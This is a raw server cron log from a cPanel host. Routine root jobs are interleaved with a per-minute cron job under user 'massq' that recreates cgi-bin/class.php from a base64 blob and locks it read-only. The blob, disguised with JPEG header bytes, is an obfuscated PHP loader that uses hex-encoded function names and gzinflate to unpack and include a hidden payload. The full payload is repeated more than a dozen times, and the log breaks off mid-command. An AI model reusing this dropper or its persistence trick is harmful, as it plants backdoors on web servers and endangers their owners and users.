Apr 12 04:00:01 server CROND[20623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 04:00:01 server CROND[20622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:00:01 server CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:00:01 server CROND[20627]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 04:00:01 server CROND[20628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:01:01 server CROND[20773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:01:01 server CROND[20774]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 04:01:01 server run-parts(/etc/cron.hourly)[20774]: starting 0anacron
Apr 12 04:01:01 server run-parts(/etc/cron.hourly)[20786]: finished 0anacron
Apr 12 04:02:01 server CROND[20834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:03:01 server CROND[20883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:04:01 server CROND[20928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:05:01 server CROND[20985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:05:01 server CROND[20984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:05:01 server CROND[20986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 04:05:01 server CROND[20987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:06:01 server CROND[21198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:07:01 server CROND[21253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:08:01 server CROND[21293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:09:01 server CROND[21352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:09:01 server CROND[21353]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 04:10:01 server CROND[21409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 04:10:01 server CROND[21410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:10:01 server CROND[21411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:10:01 server CROND[21414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:11:01 server CROND[21618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:12:01 server CROND[21670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:12:01 server CROND[21671]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 04:13:01 server CROND[21720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 